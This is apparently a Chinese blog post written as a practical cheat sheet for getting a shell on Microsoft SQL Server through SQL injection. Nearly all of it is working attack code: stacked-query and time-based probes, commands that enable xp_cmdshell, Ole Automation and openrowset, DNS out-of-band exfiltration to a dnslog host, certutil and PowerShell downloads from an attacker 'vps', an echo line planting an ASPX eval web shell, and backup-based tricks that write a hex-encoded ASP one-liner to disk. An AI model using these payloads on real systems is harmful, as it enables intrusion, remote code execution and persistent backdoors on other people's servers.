攻击数据库之mssql

总结一下实战用的比较多的getshell姿势

特性

  • sqlserver不支持limit,支持top关键字select top 1 * from users

  • mssql2000:遇到过一次是dba

  • mssql2005:权限一般是system

  • mssql2008: nt authority\network service

  • 数据文件为.mdf和.ndf

  • 日志文件为,ldf

  • 数据的默认路径:C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data

数据库体系

1.和Oracle不同和db2类似,一个实例对应多个数据库

2.默认的5个数据库master、model、msdb、Resource、tempdb
其中打交道比较多的就是master,里面有很多存储过程可以执行命令。
1

信息收集

select @@version
2
是否支持堆叠
;waitfor delay ‘0:0:5’
是否是dba
3
是否有回显

  • 命令执行无回显

1.将命令执行结果写入表
4
2.dns带外

1
select * into temp_trc from fn_trace_gettable('\\'+(select @@version())+'.xxx.dnslog.cn\1.trc',default);

是否出网

1
powershell Invoke-WebRequest -Uri http://vps/

是否站库分离

1
2
host_name()=@@servername
uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--

执行命令

xp_cmdshell

SQL Server 2005默认是关闭的所以需要开启cmdshell
开启方式(高权限):

1
2
3
4
;EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;--

declare 函数,他是mssql声明局部变量的函数, declare定义变量 set设置变量值 exec执行变量

命令执行select * from test where id=1 if 1=1 execute xp_cmdshell ‘whoami’
5

  • 不支持堆叠的情况
    1
    2
    3
    id=1 execute('exec sp_configure ''show advanced options'', 
    1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
    ''dir''');

    sp_oacreate

    1
    2
    3
    4
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'Ole Automation Procedures', 1;
    RECONFIGURE WITH OVERRIDE;
    6
    此方法无回显

openrowset

1
2
3
4
5
* 开启 Ad Hoc Distributed Queries 组件
exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure


select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')

读写文件

  • 不出网的情况写dns马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    -- 开启权限(开启这2个权限后才能写文件)
    -- 开启
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
    --关毕
    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
    --写文件 这里@FilePath 是路径,@STR_CONTENT 是内容,整理流程是先创建在写入。t-sql读写文件
    declare @FilePath nvarchar(400),@xmlstr varchar(8000);
    Declare @INT_ERR int;
    Declare @INT_FSO int;
    Declare @INT_OPENFILE int;
    Declare @STR_CONTENT as varchar(MAX);
    DECLARE @output varchar(255);
    DECLARE @hr int;
    DECLARE @source varchar(255);
    DECLARE @description varchar(255);
    set @FilePath = 'c:/windows/tasks/111.txt';
    set @STR_CONTENT = convert(varchar(MAX),0x313233); // base64->hackbar转16
    EXEC @INT_ERR = sp_OACreate 'Scripting.FileSystemObject', @INT_FSO OUTPUT;
    if(@INT_ERR <> 0) BEGIN EXEC sp_OAGetErrorInfo @INT_FSO RETURN END;
    EXEC @INT_ERR=SP_OAMETHOD @INT_FSO,'CreateTextFile',@INT_OPENFILE OUTPUT,@FilePath;
    EXEC @INT_ERR=SP_OAMETHOD @INT_OPENFILE,'Write',null,@STR_CONTENT;
    EXEC @INT_ERR=SP_OADESTROY @INT_OPENFILE;

    7

  • 出网

  1. 找路径 利用命令执行找web路径for /r D:\ %i in (*flag.php) do @echo %i>%i.txt
  2. echo 写shell
    1
    echo ^<%@ Page Language="Jscript"%^> ^<% eval(Request.Item["ant"],"unsafe"); %^>> C:\inetpub\wwwroot\a.aspx
  • 文件下载写shell
    1
    2
    certutil.exe -urlcache -split -f http://vps/a.txt D:\a.txt
    powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://vps/a.txt', 'D:\a.txt')"
    sp_oacreate写文件,如上

不能执行命令的情况

差异备份getshell

1
2
3
4
backup database test to disk = 'F:\bak.bak';--
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='F:\d.asp' WITH DIFFERENTIAL,FORMAT;--

8

一句话写入d.asp文件中
9

这里用不了for命令找绝对路径,可以用xp_dirtree存储过程

1
2
3
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

创建临时表插入临时表查询

9

log备份getshell

比较大的限制是要求数据库备份过

1
2
3
4
5
alter database 库名 set RECOVERY FULL 
create table cmd (a image)
backup log 库名 to disk = 'c:\xxx' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\xxx\2.asp'

ps:

1
2
3
4
5
6
7
8
9
10
11
12
for命令语法:
for /f “选项” %变量 in ( “字符串”-集 /文件名-集/ ‘命令'-集 ) do 命令
读取文件内容:
for /F %i in (c:\windows\tasks\1.txt) do echo %i
执行命令,并读取结果:
FOR /F "USEBACKQ" %d IN (`dir`) DO @ECHO %d
读取目录名称:
FOR /F "USEBACKQ delims=<DIR> tokens=2" %i in (`dir c:\windows\tasks`) do @ECHO %i
FOR /F "USEBACKQ" %i in (`dir /b c:\windows\tasks`) do @ECHO %i [更好]
读取文件名:
FOR /F "USEBACKQ tokens=4 delims= " %c in (`dir c:\windows\tasks`) do @ECHO %c
这里使用了 usebackq 参数,令执行命令用`包裹。

总结

实战的话暂时就用到这些,各种环境不同情况会加以补充。
告自己:不要再感到迷茫了学习就完事儿